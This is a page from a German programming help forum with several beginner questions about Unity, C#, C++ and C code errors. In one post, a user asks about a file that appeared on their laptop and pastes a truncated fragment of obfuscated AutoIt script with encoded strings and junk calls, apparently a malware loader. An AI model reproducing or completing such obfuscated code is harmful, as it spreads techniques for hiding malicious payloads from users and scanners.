Visual Studio – die neusten Beiträge

Warum kann ich den Typ "InputManager" in Unity nicht nutzen ohne Error?

Hallo an alle,

ich bin sehr neu im Bereich Spieleentwicklung mit Unity und möchte ein simples Spiel programmieren, in dem man verschiedene Räume gestalten kann. also hab ich mir ein Tutorial herausgesucht ( https://www.youtube.com/watch?v=l0emsAHIBjU&list=PLcRSafycjWFepsLiAHxxi8D_5GGvu6arf ) in dem dies erklärt wird. Bei 3:47 benutzt er den Typ "InputManager" im zweiten SerializeField.

Wenn ich jedoch das Script so kopiere wie er es im Video schreibt, zeigt mir Unity einen Fehler bei "InputManager" an. Da er im Video sagt, dass er das alte Input System nutzt hab ich dieses auch eingestellt.

Da ich nicht wirklich viel Ahnung von dem habe was er da schreibt, hab ich im Internet nach einer Lösung gesucht, doch scheinbar nutzt niemand diesen Typ. Vielen Dank im Voraus für die Antwort

P.S.: Ich habe ein Bild von Visual Studio eingefügt in dem auch der Error zu sehen ist.

using System.Collections;
using System.Collections.Generic;
using UnityEngine;


public class PlacementSystem : MonoBehaviour
{
    [SerializeField]
    private GameObject mouseIndicator;
    [SerializeField]
    private InputManager inputManager;


    private void Update()
    {
        Vector3 mousePosition = inputManager.GetSelectedMapPosition();
        mouseIndicator.transform.position = mousePosition;
    }
}
Bild zum Beitrag
Software, C Sharp, Code, Error, Fehlerbehebung, Programmiersprache, Spieleentwicklung, Unity 3D, Visual Studio, Fehlermeldung, input, Unity

Könnt ihr mir bei meinem Skript helfen?

Hallo, ich habe die letzten Stunden ein Skript programmiert, aber es funktioniert nicht. Mir wird GetComponent<ShootingAi> falsch angezeigt. Die letzten Male hat es noch funktioniert, aber jetzt nicht mehr.

Hier ist das Skript. Der Fehler ist bei // RayCast:

using System.Collections;
using System.Collections.Generic;
using System.Xml.Serialization;
using UnityEngine;
using TMPro;

public class GunSystem : MonoBehaviour
{
  // Werte
  public int damage;
  public float timeBetweenShooting;
  public float spread;
  public float range;
  public float reloadTime;
  public float timeBetweenShots;
  public int magazineSize;
  public int bulletsPerTap;
  public bool allowButtonHold;
  private int bulletsLeft;
  private int bulletsShot;

  // Bool
  bool shooting;
  bool readyToShoot;
  bool reloading;

  // Referenz
  public Camera fpsCam;
  public Transform attackpoint;
  public RaycastHit rayHit;
  public LayerMask whatIsEnemy;

  // Grafik
  public GameObject muzzleFlash;
  public GameObject bulletHoleGraphic;
  public float camShakeMagnitude;
  public float camShakeDuration;
  public TextMeshProUGUI text;

  private void Awake()
  {
    bulletsLeft = magazineSize;
    readyToShoot = true;
  }

  private void Update()
  {
    MyInput();
    text.SetText(bulletsLeft + "/" + magazineSize);
  }

  private void MyInput()
  {
    if (allowButtonHold)
    {
      shooting = Input.GetKey(KeyCode.Mouse0);
    }
    else
    {
      shooting = Input.GetKeyDown(KeyCode.Mouse0);
    }

    if (Input.GetKeyDown(KeyCode.R) && bulletsLeft < magazineSize && !reloading)
    {
      Reload();
    }

    // Shoot
    if (readyToShoot && shooting && !reloading && bulletsLeft > 0)
    {
      bulletsShot = bulletsPerTap;
      Shoot();
    }
  }

  private void Shoot()
  {
    readyToShoot = false;
    // Spread
    float x = Random.Range(-spread, spread);
    float y = Random.Range(-spread, spread);

    // Calculate Direction with Spread
    Vector3 direction = fpsCam.transform.forward + new Vector3(x, y, 0);

    // RayCast
    if (Physics.Raycast(fpsCam.transform.position, direction,  out rayHit, range, whatIsEnemy))
    {
      Debug.Log(rayHit.collider.name);

      if (rayHit.collider.CompareTag("Enemy"))
      {
        rayHit.collider.GetComponent<ShootingAi>().TakeDamage(damage);
      }
    }

    // Graphics
    Instantiate(bulletHoleGraphic, rayHit.point, Quaternion.Euler(0, 180, 0));
    Instantiate(muzzleFlash,attackpoint.position, Quaternion.identity);

    bulletsLeft--;
    bulletsShot--;

    Invoke("ResetShot", timeBetweenShooting);

    if (bulletsShot > 0 && bulletsLeft > 0)
    {
      Invoke("Shoot", timeBetweenShots);
    }
  }

  private void ResetShot()
  {
    readyToShoot = true;
  }

  private void Reload()
  {
    reloading = true;
    Invoke("ReloadFinished", reloadTime);
  }

  private void ReloadFinished()
  {
    bulletsLeft = magazineSize;
    reloading = false;
  }
}

Ich komme echt nicht mehr weiter und bräuchte etwas Hilfe.

C Sharp, Visual Studio, Unity

random so auf dem Laptop aufgetaucht was ist das?

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Visual Basic, VBA, Code, Dummheit, Entschlüsseln, Hacking, lua, Programmiersprache, Python, Visual Studio, VBA Excel

CPP Anfänger Code hilfe?

#include <iostream>
#include <cmath>
using namespace std;


double Addition(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die addiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die addiert werden soll: ";
    cin >> zahl2;
    double Summe = zahl1 + zahl2;
    cout << "Die Summe ist: " << Summe << endl;
    return zahl1 + zahl2;
}


double Subtraktion(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die subtrahiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die subtrahiert werden soll: ";
    cin >> zahl2;
    double Differenz = zahl1 - zahl2;
    cout << "Die Differenz ist: " << Differenz << endl;
    return zahl1 - zahl2;
}


double Multiplikation(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die multipliziert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die multipliziert werden soll: ";
    cin >> zahl2;
    double Produkt = zahl1 * zahl2;
    cout << "Das Produkt ist: " << Produkt << endl;
    return zahl1 * zahl2;
}


double Division(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die dividiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die dividiert werden soll: ";
    cin >> zahl2;
    double Qoutient = zahl1 / zahl2;
    cout << "Der Quotient ist: " << Qoutient << endl;
    return zahl1 / zahl2;
}


double Potenz()
{
    double Basis;
    double Potenz;
    double Ergebnis;
    cout << "Gebe die Basis ein" << endl;
    cin >> Basis;
    cout << "Gebe die Potenz ein" << endl;
    cin >> Potenz;
    Ergebnis = pow(Basis, Potenz);
    cout << "Die Potenz ist: " << Ergebnis << endl;
    return pow(Basis, Potenz);
}


int main()
{
    char Rechenoperator;
    cout << "UNIVERSAL RECHNER" << endl;
    cout << "Bitte wähle die Rechenoperation aus" << endl;
    cout << "Addition(+)\nSubtraktion(-)\nMultiplikation(*)\nDivision(/)" << endl;
    cout << "Potenz(^)\nWurzel(<)\nProzent(%)" << endl;
    cin >> Rechenoperator;


    switch (Rechenoperator)
    {
    case '+':
        Addition(zahl1, zahl2);
        break;
    case '-':
        Subtraktion(zahl1, zahl2);
        break;
    case '*':
        Multiplikation(zahl1, zahl2);
        break;
    case '/':
        Division (zahl1, zahl2);
        break; 
    case '^':
        Potenz(Basis, Potenz);
        break;


    default:
        cout << "Ungültige Eingabe" << endl;
    }


    return 0;
}

main.cpp: In function ‘int main()’:
main.cpp:75:18: error: ‘zahl1’ was not declared in this scope
   75 |         Addition(zahl1, zahl2);
      |                  ^~~~~
main.cpp:75:25: error: ‘zahl2’ was not declared in this scope
   75 |         Addition(zahl1, zahl2);
      |                         ^~~~~
main.cpp:87:16: error: ‘Basis’ was not declared in this scope
   87 |         Potenz(Basis, Potenz);
Cplusplus, Array, Code, CPP, Programmiersprache, Visual Studio, Algorithmus

An alle C# & Visual Studio Programmierer?

Hey Developers,

hier mal etwas Hate mit einer wichtigen Frage.

Ich versuch zurzeit ASP.Net Core mit C# für Web Backend zu lernen. Ich kann bisher HTML, CSS, JavaScript, React, Python (Django) und etwas Java (Spring Boot) sowie etwas C++ (Arduino).

Das war alles ganz entspannt zu lernen, aber C# mit Visual Studio gibt mir den Rest, ich schaffe es einfach nicht ein Projekt zu erstellen.

Mein Problem dabei ist, dass alle Dokus und YT Videos auf "vorgefertigte" Projektvorlagen setzten, allerdings schein Microsoft durchgehend an der UI von Visual Studio und an den Vorlagen etwas zu ändern und das macht mich nach meinem 20. Anlauf wahnsinnig. Egal welches Video ich anschauen (selbst wenn es nur 6 Monate alt ist) das komplette Projekte hat im Video eine ganz andere Struktur (und ja ich habe genau die selbe Vorlage mit der selben Version von .NET) und wenn ich halt keine Ahnung von der Umgebung habe kann ich das auch schlecht irgendwie nachbauen.

Daher mal ne Frage: Mach ich hier etwa irgendwas falsch (ne falsche Einstellung im Installer) oder ändert Microsoft wirklich alle paar Monate etwas an der Umgebung oder an Visual Studio?

Ich stelle mir das später auch einfach nur nervig vor, wenn man mal die Sprache & Umgebung kann, aber bei jedem neuem Projekt eine andere Projektstruktur hat.

Nutzt ihr die Vorlagen überhaupt, oder macht das einfach nur jeder, um seine Videos einfacher zu halten?

Erstellt ihr bei einem neuem Projekt einfach ein leeres .NET Projekt und erstellt dort selbst die Grundstruktur, oder verwendet ihr wirklich die vorgefertigten Projekte wie z.B. "React and ASP.NET Core" (welche euch eine Wetter-Seite erstellt) und löscht dann erstmal sämtlichen Code von der Wetter-Seite aus den Dateien und fangt dann mit eurem Projekt an?

ASP.NET, C Sharp, Programmiersprache, Visual Studio

Wie kann ich mit C++ Textdateien in einem Container speichern?

Ich habe ein Problem mit meinem Programm. Ich möchte eine Textdatei in meinem selbst definierten Container speichern, doch Ich weiß nicht, wo das Problem ist.

#include <iostream>
#include <filesystem>
#include <vector>
#include <string>
#include <fstream>
#include <algorithm>

using namespace std;

template <typename Template>
class Container {
  private:
    Template* Eigenschaft1;
    size_t Größe;
    size_t Speichergröße;
  public:
    Container(size_t ContainerGröße = 10000) : Größe(0), Speichergröße(ContainerGröße) {
      Eigenschaft1 = new Template[Speichergröße];
    }

    void Speichern(const Template& Wert) {
      for (int i = 0; i < Größe; i++) {
        Eigenschaft1[Größe++] = Wert;
      }
    }
};

class Personal {
  private:
    string Name;
    string Position;
    int Alter;
    double Gehalt;
  public:
    Personal();

    void Speicherung(string Name, string Position, int Alter, double Gehalt, Container<ofstream>& Container);

    void Ausgabe();

    void Hinzufügen(Container<ofstream>& Container);
};

Personal::Personal() {
  Name = Name;
  Position = Position;
  Alter = Alter;
  Gehalt = Gehalt;
}

void Personal::Speicherung(string Name, string Position, int Alter, double Gehalt, Container<ofstream>& Container) {
  string Entscheidung;
  ofstream Datei1("Datei.csv");
  Datei1 << "Name: " << Name << endl;
  Datei1 << "Position" << Position << endl;
  Datei1 << "Alter: " << Alter << endl;
  Datei1 << "Gehalt: " << Gehalt << endl;

  cout << "M\u00F6chten sie die Person speichern: ";

  if (Entscheidung == "Ja") {
    Container.Speichern(Datei1);
  }
  else if (Entscheidung == "Nein") {
  }
}

void Personal::Ausgabe() {
  ifstream Datei1("Datei.csv");
  getline(Datei1, Name);
  Datei1 >> Position;
  Datei1 >> Alter;
  Datei1 >> Gehalt;
  cout << "Name: " << Name << endl;
  cout << "Alter: " << Alter << endl;
  cout << "Beruf: " << Position << endl;
  cout << "Gehalt: " << Gehalt << endl;
}

void Personal::Hinzufügen(Container<ofstream>& Container) {
  Personal P;
  cout << "Bitte geben side den Namen ein: ";
  cin >> P.Name;
  cout << "Bitte geben sie den Beruf an: ";
  cin >> P.Position;
  cout << "Bitte geben sie das Alter der Person an: ";
  cin >> P.Alter;
  cout << "Bitte geben sie das Gehalt der Person an: ";
  cin >> P.Gehalt;
  Speicherung(P.Name, P.Position, P.Alter, P.Gehalt, Container);
}

template <typename T>
int main() {
  string Passwort1 { "Erfolg1234" };
  string Passwort2;
  Container<ofstream> Container;
  Personal P;
  int Entscheidung;
  cout << "Geben sie das Passwort ein: ";
  cin >> Passwort2;

  if (Passwort2 == Passwort1) {
    cout << "Wollen sie eine neue Position hinzufügen (1)" << endl;
    cout << "Wollen sie auf eine Position zugreifen (2)" << endl;
    cin >> Entscheidung;

    if (Entscheidung == 1) {
      P.Hinzufügen(Container);
    }
    else if (Entscheidung == 2) {
      P.Ausgabe();
    }
  }
  else {
    cout << "Falsches Passwort" << endl;
  }
}
Cplusplus, Code, CPP, Programmiersprache, Visual Studio

C# Twitch Bedges auslesen?

Hallo, ich wollte in C# einen Twitch Bot porgrammieren, aber die auslesung funktioniert nicht. Falls sich das jemand mal anschauen kann, hier ist der Code:

using System;
using System.Linq;
using System.Text;
using Twitch_IRC;
namespace Twitch_IRC
{
public class irc_globaluserstate
{
public bool IsMod { get; private set; } = false;
public bool IsBroadcaster { get; private set; } = false;
public bool IsVip { get; private set; } = false;
public List<string> BadgesRaw { get; }
private string rawdata { get; }
public irc_globaluserstate(string rawdata)
{
this.rawdata = rawdata;
string[] tags = rawdata.Split(' ')[0].Remove(0, 1).Split(';');
foreach (string tag in tags)
{
string[] splittag = tag.Split('=');
if (splittag.Length >= 2)
switch (splittag[0].ToLower())
{
case "badges":
BadgesRaw = splittag[1].Split(',').ToList();
foreach (string badgeraw in BadgesRaw)
{
string badge = badgeraw.Split('/')[0];
switch (badge)
{
case "broadcaster":
IsBroadcaster = true;
Program.IsUserBroadcaster = true;
Console.WriteLine("Broadcaster");
break;
case "moderator":
IsMod = true;
Program.IsUserModerator = true;
Console.WriteLine("Moderator");
break;
case "subscriber":
break;
case "vip":
IsVip = true;
Program.IsUserVip = true;
Console.WriteLine("Vip");
break;
case "premium":
break;
}
}
break;
}
}
}
}
internal class Program
{
public static bool IsUserBroadcaster = false;
public static bool IsUserModerator = false;
public static bool IsUserVip = false;
//Main
static void Main(string[] args)
{
IRC_Controller.MessageRecieved += new Program().KeksCommand;
IRC_Controller.MessageRecieved += new Program().shoutoutCommand;
IRC_Controller controller = new IRC_Controller("gg265_Bot", "____", "gg265_live");
}
public static EventHandler<MessageSentArgs> MessageSent;
protected virtual void OnMessageSent(string message)
{
MessageSent?.Invoke(this, new MessageSentArgs(message));
}
//!Kekse
public void KeksCommand(object source, MessageRecievedArgs args)
{
if (args.message.Split(' ')[0].ToLower() == "!kekse")
OnMessageSent($"/me gibt @{args.username} 4 Kekse.");
}
//!shoutout <user>
public void shoutoutCommand(object source, MessageRecievedArgs args)
{
if (args.message.Split(' ')[0].ToLower() == "!shoutout")
{
Console.WriteLine(IsUserBroadcaster);
Console.WriteLine(IsUserModerator);
Console.WriteLine(IsUserVip);
if (IsUserBroadcaster || IsUserModerator || IsUserVip)
{
OnMessageSent($"/me SHOUTOUT AN @{args.message.Split(' ')[1]}!!");
}
}
}
}
class MessageSentArgs
{
public string message { get; }
public MessageSentArgs(string message)
{
this.message = message;
}
}
}

LG gg265

C Sharp, Code, Visual Studio

Was ist bei meinem C# Code falsch?

using System;
namespace NeuArray
{
  class Programm
  {
    static void Main()
    {
      string[,] products = new string[2, 5];
      products[0, 0] = "Senf";
      products[1, 0] = "1.99 Euro";
      products[0, 1] = "Smartphone";
      products[1, 1] = "Preis: 1299 Euro";
      products[0, 2] = "Schokolade";
      products[1, 2] = "2.99 Euro";
      products[0, 3] = "Obst";
      products[1, 3] = "1.49 Euro";
      products[0, 4] = "Couch";
      products[1, 4] = "499 Euro";
    Start:
      Console.Write("Gib die Spalte ein von dem Produkt das du suchst: ");
      int Spalte = Convert.ToInt32(Console.ReadLine());
      if (Spalte < 0 || Spalte > 5)
      {
        Console.WriteLine("Diese Spalte existiert nicht. ");
        goto Start;
      }
      Console.WriteLine("Das gesuchte Produkt lautet: " + products[0, Spalte]);
      Console.WriteLine("Möchtest du den Preis dieses Produktes sehen? Geben Sie 1 ein für Ja und 2 für Nein ");
      int Abfrage = Convert.ToInt32(Console.ReadLine());
      switch (Abfrage)
      {
        case 1:
          Console.WriteLine(products[1, Spalte]);
          break;
        case 2:
           
          Abfrage2:
            Console.WriteLine("Möchten Sie nach einem neuen Produkt suchen? Geben Sie 1 ein für Ja und 2 für Nein");
            int AbfrageProduktNeu = Convert.ToInt32(Console.ReadLine());
            if ((AbfrageProduktNeu == 1))
            {
              goto Start;
            }
            else if (AbfrageProduktNeu == 2)
            {
              Console.WriteLine("Programm beendet.");
            }
            else
            {
              Console.WriteLine("Ungültige Eingabe.");
              goto Abfrage2;
            }
            break;    
      }
    }
  }
}

Es steht zwar nicht, dass irgendwo ein Fehler ist aber immer wenn ich das Programm in der Konsole ausgeben will steht da "Hot Reload".

Könnt ihr mir helfen bitte?

Software, App, programmieren, C Sharp, Code, Programmiersprache, Visual Studio

C++ - "Funktion nimmt keine 0 Argumente." Behebung?

Schönen guten Abend!

Das Problem ist etwas anders als in der Frage, jedoch ist es für mich schwer dies in einem Satz zu erklären. Nun erstmal mein C++ Quellcode zum Verständnis:

#include <iostream>


int numbCount(int count);


int main()
{
	int num1 = numbCount();
	int num2 = numbCount(2);

  ...

}
  
  int numbCount(int count = 1) 
  {
  	int userNumb;
  	std::cout << "Please enter the " << count << ". integer: ";
  	std::cin >> userNumb;
  
  
  	return userNumb;
  }

Also, wie man sehen kann hat meine Funktion numbCount() Parameter. Außerdem bevorzuge ich es die Funktionsdefinition unter der Main() Funktion zu schreiben.

int numbCount(int count);

int main()
{
...
}

int numbCount(int count = 1)
{
...
}

Somit muss ich die Funktionsdeklaration über der Main() Funktion "erwähnen", damit ja der Compiler weiß, dass die Definition noch kommt. Dies scheint in diesem Fall bei einer Funktion mit Standardparameter für VS ein Problem darzustellen - Fehler "numbCount: function does not take 0 arguments".

Wenn ich jedoch die Funktionsdefinition von "numbCount()" über die Main() Funktion packe, funktioniert alles normal.

int numbCount(int count = 1)
{
...
}

int main()
{
...
}

Habe bereits versucht den Parameter in der "erwähnten" Funktionsdeklaration zwischen den runden Klammern ebenfalls einzufügen, also

int numbCount(int count = 1);

jedoch kommt dann der Fehler 'numbCount': redefinition of default argument: parameter 1

FRAGE:
Gibt es eine Möglichkeit in einer Funktion Standardparamter (also wenn kein Wert in Funktionsaufruf zwischen Klammern angegeben -> standardm. Wert 1) zu haben aber trotzdem die Funktionsdefinition unter der Main() Funktion zu belassen?

int numbCount(int count);

int main()
{
    int num1 = numbCount(); // Kein Wert angegeben - Std. Wert 1
    int num2 = numbCount(2);
}

int numbCount(int count = 1)
{
...
}

Vielen Dank und einen schönen Abend! :)

Computer, Software, Programm, programmieren, Anwendung, Funktion, Cplusplus, Anwendungsentwicklung, Argumente, Code, CPP, Fehlerbehebung, fehlercode, Programmiersprache, Softwareentwicklung, Visual Studio, Fehlermeldung, Parameter

Wie korrigiere ich meinen CountSort-Code, damit er absteigend sortiert?

Hallo!

Meine Aufgabe: Ich soll eine Count Sort implementieren, und zwar so, dass man beim Programm aufrufen im Argument auswählen kann, ob das Array aufsteigend oder absteigend sortiert werden soll.

Mein Problem: Das Aufsteigen sortieren funktioniert, aber das Absteigen sortiert ebenfalls aufsteigend, obwohl es absteigend sortieren soll.

Meine Annahmen: Eigentlich gehe ich davon aus, dass meine Funktion "count_sort_write_output_array", welche das sortierte Array basierend auf der angegebenen Sortierrichtung erstellt, korrekt ist. Schließlich ist es einfach der gleiche Code wie für ASCENDING (aufsteigend), bloß mit geringfügigen Änderungen.

Ich denke eher, dass es daran liegt, dass mein Code erst gar nicht DESCENDING (absteigend) 'auswählt', wenn "desc" als Argument gegeben wird. Ich habe als Standardverhalten ASCENDING gesetzt (also falls kein Argument gegeben wird, oder ein falsches Argument gegeben wird, wird es aufsteigend sortiert), also dachte ich vielleicht, dass entweder

if (strcmp(order, "asc") == 0)

oder

else if (strcmp(order, "desc") == 0)

(in der SortDirection Funktion) irgendwie "falsch" sind, sodass die Sortierfunktion immer das Standardverhalten auswählt. (Also ASCENDING)

Als Debug-Versuch habe ich:

printf("Sortdirection must be defined. Using default: ASCENDING\n");

eingefügt, um zu schauen ob das wirklich der Fall ist. Dennoch wird dieser printf nie gezeigt, selbst wenn ich kein Argument eingebe. Was mich ziemlich verwirrt. Bricht es vorher ab?

Meine 'Frage' an euch: Ich würde es sehr schätzen, wenn jemand einen Blick darauf werfen könnte. Eventuell kann jemand erkennen, woran mein Semantikfehler liegt.

Aber würde ich es auch schätzen, wenn mir jemand andere Debug-Ideen nennen könnte. Ich habe noch nicht viel mit 'Debugging-Methoden' beschäftigt und habe meine Probleme bisher größtenteils mit printfs gelöst. Aber vielleicht gibt es da etwas leichteres!

Vielen Dank!

Bild zum Beitrag
Computer, programmieren, Code, Informatik, Programmiersprache, Visual Studio, Algorithmus, debugging, Sortieralgorithmus

Meistgelesene Beiträge zum Thema Visual Studio